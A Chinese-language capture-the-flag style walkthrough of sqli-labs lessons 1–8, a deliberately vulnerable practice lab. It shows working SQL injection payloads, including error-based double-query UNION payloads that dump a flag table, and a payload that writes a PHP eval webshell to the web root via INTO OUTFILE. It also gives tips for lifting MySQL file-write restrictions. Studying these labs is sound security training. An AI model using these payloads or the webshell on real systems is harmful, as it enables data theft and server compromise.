为了方便,我在sqli-labs的数据库里加了一个flag表,内容如下
id | flag | md5 |
---|---|---|
1 | flag{Ur_w31c0M3_59Li} | 5741ec4b77346399c8ff2428ac49b937 |
目标就是通过注入读到这个表里的数据
Page-1
Less-1 Error Based- String
题目提示(后面一样的就省略了):
1 | Please input the ID as parameter with numeric value |
输入?id=1'
报错
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 |
存在注入。
1 | 1' or '1'='1 正常 |
Less-2 Error Based- Intiger
输入?id=1'
报错
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1 |
存在注入。
输入1' or '1'='1
报错
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' or '1'='1 LIMIT 0,1' at line 1 |
数字型注入
1 | 1 and 1=1 正常 |
Less-3 Error Based- String (with Twist)
输入?id=1'
报错
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 |
存在注入。
1 | 1' or '1'='1 正常 |
后面的注入语句发现无法正常执行,根据报错猜测需要闭合括号。继续构造如下语句:
1 | 1') order by 3; --+ 表中有3列数据 |
Less-4 Error Based- DoubleQuotes String
使用' --+ )
等都无法触发报错,输入\
报错
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"1\") LIMIT 0,1' at line 1 |
猜测使用了双引号而不是单引号进行闭合。
注入语句构造如下(中间猜测数据库数据表省略,语句都差不多,也不解释了)
1 | 1") order by 3; --+ |
Less-5 Double Query- Single Quotes- String
这道题和前面不太一样
1 | id=0 无结果 |
双查询注入,具体原理见这里
1 | 0' union select 1,count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a; --+ 爆出数据库名 |
Less-6 Double Query- Double Quotes- String
这道题其实和5一样,把单引号换成双引号就行了,最后的payload:
1 | 0" union select 1,count(*), concat((select flag from security.flag LIMIT 0,1), floor(rand()*2))as a from information_schema.`TABLES` group by a; --+ |
Less-7 Dump into Outfile
into outfile写文件
这里需要注意,可能需要提前配置一下mysql的权限。启动mysql的时候默认使用了–secure-file-priv这个参数,限制LOAD DATA INFILE或者SELECT INTO OUTFILE之类文件的目录位置。
可以使用SELECT @@global.secure_file_priv;
或SHOW VARIABLES LIKE "secure_file_priv";
查看当前设置的路径。
1 | (1)NULL,表示禁止。 |
(1)方案一:
把导入文件放入secure-file-priv目前的value值对应路径即可。
(2)方案二:
把secure-file-priv的value值修改为准备导入文件的放置路径。
(3)方案三:修改配置
去掉导入的目录限制。可修改mysql配置文件(Windows下为my.ini, Linux下的my.cnf),在[mysqld]下面,查看是否有:
secure_file_priv =
如上这样一行内容,如果没有,则手动添加。如果存在如下行:
secure_file_priv = /home
这样一行内容,表示限制为/home文件夹。而如下行:
secure_file_priv =
这样一行内容,表示不限制目录,等号一定要有,否则mysql无法启动。
修改完配置文件后,重启mysql生效。
除了mysql的限制,Linux可能也会限制文件写入。我额外在网站目录下新建了一个test文件夹并用chown把权限给了mysql。
这道题没什么注入技巧,需要注意要闭合两个括号,其他就是一句话木马写入了。
1 | 0')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile "/opt/lampp/htdocs/test/pass.php"; --+ |
一句话木马连接搞定
Less-8 Blind- Boolian- Single Quotes- String
这道题是基于bool的盲注。